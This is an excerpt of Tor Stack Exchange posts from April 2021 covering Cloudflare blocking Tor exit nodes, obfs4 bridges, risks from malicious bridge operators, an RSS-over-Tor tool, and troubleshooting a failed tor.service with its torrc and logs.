  <row Id="22327" PostTypeId="1" CreationDate="2021-04-24T20:06:30.263" Score="1" ViewCount="262" Body="&lt;p&gt;I'm trying to access a website that is blocking Tor users by CloudFlare. When I use Tor as a service using chrome browser my exit node is always blocked. However, using Tor browser sometimes CloudeFlare don't block my exit node, so I decided to use my exit node ip that my Tor browser uses (the one that is not blocked by CloudFlare) and set it in the &lt;code&gt;torrc&lt;/code&gt; file of my Tor expert bundle&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes  89.163.143.8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My &amp;quot;brilliant idea&amp;quot; didn't work!. CloudFlare still blocks chrome browser and allows Tor browser although they use the exact same exit node.&lt;/p&gt;&#xA;&lt;p&gt;So what is happening? does CloudFlare use different techniques to block certain users other than exit nodes lists?&lt;/p&gt;&#xA;" OwnerUserId="32287" LastActivityDate="2021-04-24T20:06:30.263" Title="Tor Expert Bundle exit node is blocked but Tor Browser is not" Tags="|tor-browser-bundle|cloudflare|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22328" PostTypeId="1" AcceptedAnswerId="22329" CreationDate="2021-04-24T22:37:21.847" Score="0" ViewCount="221" Body="&lt;p&gt;I am trying to access a site with Tor, I get the following message:&#xA;&lt;code&gt;Secure Connection Failed An error occurred during a connection to www.xxxx.com. PR_END_OF_FILE_ERROR&lt;/code&gt;, I added the &lt;code&gt;Select a built-in bridge&lt;/code&gt; then chose &lt;code&gt;obfs4&lt;/code&gt;, without this option chosen I neither can access the site with Tor. So it's clear the site is blocking Tor but It still can detect Tor when &lt;code&gt;obfs4&lt;/code&gt; is selected ?&lt;/p&gt;&#xA;" OwnerUserId="31584" LastActivityDate="2022-01-20T01:05:30.460" Title="Problem to access site" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22329" PostTypeId="2" ParentId="22328" CreationDate="2021-04-24T23:38:55.437" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/glossary/obfs4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Obsf4&lt;/a&gt; is a type of pluggable transport used with a bridge (unlisted Tor guard node) to let Tor users access the internet in countries which censor the Tor network. It does nothing against stopping websites from blocking Tor users.&lt;/p&gt;&#xA;&lt;p&gt;If the website is blocking Tor users, then it might not be possible to visit the site. Only the website owner has control on whether Tor users can visit the site or not. The best option is to contact the site directly and kindly ask them to unblock Tor users. However, they may not do this because some of Tor traffic can be bots, attackers, spammers, etc. and may threaten the security of the website.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-04-24T23:38:55.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22330" PostTypeId="2" ParentId="22311" CreationDate="2021-04-25T07:15:33.307" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;If any country censoring Tor, such as Iran or China, decided to host bridge relays, won't they be able to figure out where Tor users are and then could take action?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;They can learn the IP addresses of Tor users that connect to their bridge relays. How easily they can identify a single person, find their location, and take disciplinary action probably depends on the country.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For example, if the Chinese government or its allies decided to run Meek bridges, they could find the IP addresses of Chinese Tor users and eventually identify and possibly arrest these Tor users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's not enough to just run a bridge, you also need to convince people to use it, either by having them enter the bridge details manually into the Tor client, or having it added to and distributed by BridgeDB. I don't think BridgeDB distributes meek bridges, but it does distribute obfs4 bridges.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Does the Tor Project protect Tor users in countries which censor Tor from this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The Tor Project will remove bridges from BridgeDB if it finds that they are run maliciously, and as far as I know countries have been more interested in blocking Tor usage than identifying Tor users. But in general, if anyone runs a malicious Tor bridge (whether they're some government or not), they will learn the IP addresses of connecting Tor users. Bridges are more useful for evading network-level censorship than preventing anyone from learning that you're using Tor.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2021-04-25T07:20:54.637" LastActivityDate="2021-04-25T07:20:54.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22331" PostTypeId="2" ParentId="20050" CreationDate="2021-04-25T09:13:38.403" Score="0" Body="&lt;p&gt;Your shortcut is not pointing to &lt;code&gt;firefox.exe&lt;/code&gt; anymore which is the file that starts Tor, speed fix: just do a search for &lt;code&gt;firefox.exe&lt;/code&gt;, find the file with a small purple dot followed by &lt;code&gt;firefox.exe&lt;/code&gt; double click it, done&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Tor is not even showing up in my 'programs' list when I do have it installed&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;That's totally normal, Tor does not show up there&lt;/p&gt;&#xA;" OwnerUserId="31584" LastActivityDate="2021-04-25T09:13:38.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22333" PostTypeId="1" CreationDate="2021-04-25T23:51:18.097" Score="1" ViewCount="134" Body="&lt;p&gt;If I set up my own guard node and always use it when connecting through the Tor network, would I be fully protected from confirmation attacks?&lt;/p&gt;&#xA;&lt;p&gt;Also, how would my anonymity be affected with such a setup? Would this setup be pointless if an attacker seized/shutdown my Tor guard node?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2022-01-25T02:02:10.213" Title="Could I avoid traffic confirmation attacks by setting up my own guard node?" Tags="|attacks|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22337" PostTypeId="1" CreationDate="2021-04-27T17:46:00.417" Score="0" ViewCount="97" Body="&lt;p&gt;I did a lil thing because i want RSS over Tor, but no RSS reader is Tor aware. They fetch everything over one circuit and i do not like this. This is shit.&lt;/p&gt;&#xA;&lt;p&gt;So here is RSSNSA: &lt;a href=&quot;https://notabug.org/SuspiciousActions/RSSNSA&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://notabug.org/SuspiciousActions/RSSNSA&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;RSSNSA works like this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fetch your RSS feeds with wget&lt;/li&gt;&#xA;&lt;li&gt;Serve your RSS feeds locally&lt;/li&gt;&#xA;&lt;li&gt;Let your RSS reader of choive fetch it locally&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;There are some Features:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Supports all (non shit) RSS Readers! (maybe)&lt;/li&gt;&#xA;&lt;li&gt;New circuit every fetch!&lt;/li&gt;&#xA;&lt;li&gt;Randomized fetching times!&lt;/li&gt;&#xA;&lt;li&gt;Spoofed useragent!&lt;/li&gt;&#xA;&lt;li&gt;Add Onionsupport for your RSS reader of choice!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My main concern is, that wget produces another fingerprint than your normal RSS reader. But those will produce their own so as long as there is no standardized RSS reader for us Tor users, it is as good as we get.&lt;/p&gt;&#xA;&lt;p&gt;What do you think of it?&lt;/p&gt;&#xA;" OwnerUserId="32300" LastActivityDate="2022-02-12T08:06:40.610" Title="RSSNSA Proxy for isolation" Tags="|stream-isolation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22338" PostTypeId="1" AcceptedAnswerId="22373" CreationDate="2021-04-27T17:47:12.883" Score="1" ViewCount="1197" Body="&lt;p&gt;I just did a full upgrade on my archlinux and now for some reason I can't get&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;systemctl start tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to run. I can use the  tor browser without this, but I usually need this service up before using &lt;em&gt;torsocks&lt;/em&gt; which I need for starting applications like irssi. So anyway, i'm getting the following message:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Output of systemctl status tor.service:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; × tor.service - Anonymizing overlay network for TCP&#xA;     Loaded: loaded (/usr/lib/systemd/system/tor.service; disabled; vendor preset: disabled)&#xA;     Active: failed (Result: exit-code) since Tue 2021-04-27 20:32:40 MSK; 9s ago&#xA;    Process: 2864 ExecStartPre=/usr/bin/tor -f /etc/tor/torrc --verify-config (code=exited, stat&amp;gt;&#xA;        CPU: 22ms&#xA;&#xA;Apr 27 20:32:40 username systemd[1]: tor.service: Scheduled restart job, restart counter is at 5.&#xA;Apr 27 20:32:40 username systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;Apr 27 20:32:40 username systemd[1]: tor.service: Start request repeated too quickly.&#xA;Apr 27 20:32:40 username systemd[1]: tor.service: Failed with result 'exit-code'.&#xA;Apr 27 20:32:40 username systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;lines 1-11/11 (END)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What gives? Why is this happening and how do I go about this problem? I've already tried reinstalling tor altogether but it didn't help.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 22 April 2012 for Tor 0.2.3.14-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &amp;quot;## &amp;quot; try to explain what's going on. Lines&#xA;## that begin with just &amp;quot;#&amp;quot; are disabled commands: you can enable them&#xA;## by removing the &amp;quot;#&amp;quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &amp;quot;SocksPort 0&amp;quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this adddress:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA;&#xA;## Logs go to stdout at level &amp;quot;notice&amp;quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &amp;quot;notice&amp;quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword **removed**&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &amp;quot;.../hidden_service/hostname&amp;quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;#RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &amp;quot;4 GB&amp;quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Contact info to be published in the directory, so we can contact you&#xA;## if your relay is misconfigured or something else goes wrong. Google&#xA;## indexes this, so spammers might also collect it.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &amp;quot;exit enclaving&amp;quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &amp;quot;bridges&amp;quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&#xA;#freenode&#xA;mapaddress 10.40.40.40 freenodeok2gncmy.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output of journalctl -xeu tor.service:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;The job identifier is 2289 and the job result is failed.&#xA;May 01 23:46:06 username systemd[1]: tor.service: Scheduled restart job, restart counter is at 5.&#xA;░░ Subject: Automatic restarting of a unit has been scheduled&#xA;░░ Defined-By: systemd&#xA;░░ Support: https://lists.freedesktop.org/mailman/listinfo/systemd-devel&#xA;░░ &#xA;░░ Automatic restarting of the unit tor.service has been scheduled, as the result for&#xA;░░ the configured Restart= setting for the unit.&#xA;May 01 23:46:06 username systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;░░ Subject: A stop job for unit tor.service has finished&#xA;░░ Defined-By: systemd&#xA;░░ Support: https://lists.freedesktop.org/mailman/listinfo/systemd-devel&#xA;░░ &#xA;░░ A stop job for unit tor.service has finished.&#xA;░░ &#xA;░░ The job identifier is 2363 and the job result is done.&#xA;May 01 23:46:06 username systemd[1]: tor.service: Start request repeated too quickly.&#xA;May 01 23:46:06 username systemd[1]: tor.service: Failed with result 'exit-code'.&#xA;░░ Subject: Unit failed&#xA;░░ Defined-By: systemd&#xA;░░ Support: https://lists.freedesktop.org/mailman/listinfo/systemd-devel&#xA;░░ &#xA;░░ The unit tor.service has entered the 'failed' state with result 'exit-code'.&#xA;May 01 23:46:06 username systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;░░ Subject: A start job for unit tor.service has failed&#xA;░░ Defined-By: systemd&#xA;░░ Support: https://lists.freedesktop.org/mailman/listinfo/systemd-devel&#xA;░░ &#xA;░░ A start job for unit tor.service has finished with a failure.&#xA;░░ &#xA;░░ The job identifier is 2363 and the job result is failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23329" LastEditorUserId="23329" LastEditDate="2021-05-01T21:03:55.897" LastActivityDate="2021-05-09T01:19:12.103" Title="Tor.services refusing to run on archlinux" Tags="|tor-browser-bundle|configuration|torsocks|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22339" PostTypeId="1" CreationDate="2021-04-28T02:02:04.890" Score="3" ViewCount="1808" Body="&lt;p&gt;I have attempted to connect to the tor network through all manner of bridges including from directly requested from bridgedb but still cannot connect&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;4/28/21, 01:21:07.362 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/21, 01:21:07.362 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/21, 01:21:07.362 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/21, 01:21:07.362 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/21, 01:21:07.362 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/21, 01:21:07.362 [WARN] Cannot find maximum file descriptor, assuming: 256&#xA;4/28/21, 01:21:08.580 [NOTICE] Bootstrapped 1% (conn_pt): Connecting to pluggable transport&#xA;4/28/21, 01:21:08.590 [NOTICE] Bootstrapped 2% (conn_done_pt): Connected to pluggable transport&#xA;4/28/21, 01:21:08.630 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with [2a0c:4d80:42:702::1]:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:08.740 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:08.740 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.33.83:80 ID=&amp;lt;none&amp;gt; RSA_ID=0BAC39417268B96B9F514E7F63FA6FBA1A788955 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:08.760 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 51.222.13.177:80 ID=&amp;lt;none&amp;gt; RSA_ID=5EDAC3B810E12B01F6FD8050D2FD3E277B289A08 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:08.760 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 144.217.20.138:80 ID=&amp;lt;none&amp;gt; RSA_ID=FB70B257C162BF1038CA669D568D76F5B7F0BABB (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:08.610 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay&#xA;4/28/21, 01:21:08.886 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;4/28/21, 01:21:09.590 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with [2a0c:4d80:42:702::1]:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:09.660 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 144.217.20.138:80 ID=&amp;lt;none&amp;gt; RSA_ID=FB70B257C162BF1038CA669D568D76F5B7F0BABB (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:09.670 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:09.670 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.33.83:80 ID=&amp;lt;none&amp;gt; RSA_ID=0BAC39417268B96B9F514E7F63FA6FBA1A788955 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:09.670 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 51.222.13.177:80 ID=&amp;lt;none&amp;gt; RSA_ID=5EDAC3B810E12B01F6FD8050D2FD3E277B289A08 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:09.738 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 192.95.36.142:443 ID=&amp;lt;none&amp;gt; RSA_ID=CDF2E852BF539B82BD10E27E9115A31734E378C2 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:09.881 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:09.926 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:10.670 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 144.217.20.138:80 ID=&amp;lt;none&amp;gt; RSA_ID=FB70B257C162BF1038CA669D568D76F5B7F0BABB (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:10.700 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:10.700 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 51.222.13.177:80 ID=&amp;lt;none&amp;gt; RSA_ID=5EDAC3B810E12B01F6FD8050D2FD3E277B289A08 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:10.412 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:10.420 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:11.650 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with [2a0c:4d80:42:702::1]:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:11.730 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.33.83:80 ID=&amp;lt;none&amp;gt; RSA_ID=0BAC39417268B96B9F514E7F63FA6FBA1A788955 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:11.750 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:11.770 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 51.222.13.177:80 ID=&amp;lt;none&amp;gt; RSA_ID=5EDAC3B810E12B01F6FD8050D2FD3E277B289A08 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:12.810 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.33.83:80 ID=&amp;lt;none&amp;gt; RSA_ID=0BAC39417268B96B9F514E7F63FA6FBA1A788955 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:12.820 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/21, 01:21:12.820 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 144.217.20.138:80 ID=&amp;lt;none&amp;gt; RSA_ID=FB70B257C162BF1038CA669D568D76F5B7F0BABB (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Update: The network uses Smoothwall HTTPS interception&lt;/p&gt;&#xA;" OwnerUserId="32312" LastEditorUserId="32312" LastEditDate="2021-04-30T03:31:40.877" LastActivityDate="2021-04-30T03:31:40.877" Title="Tor bridges all blocked (Cannot connect) (Smoothwall HTTPS Interception)" Tags="|bridge|proxy|censorship|ip-address|blocked|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
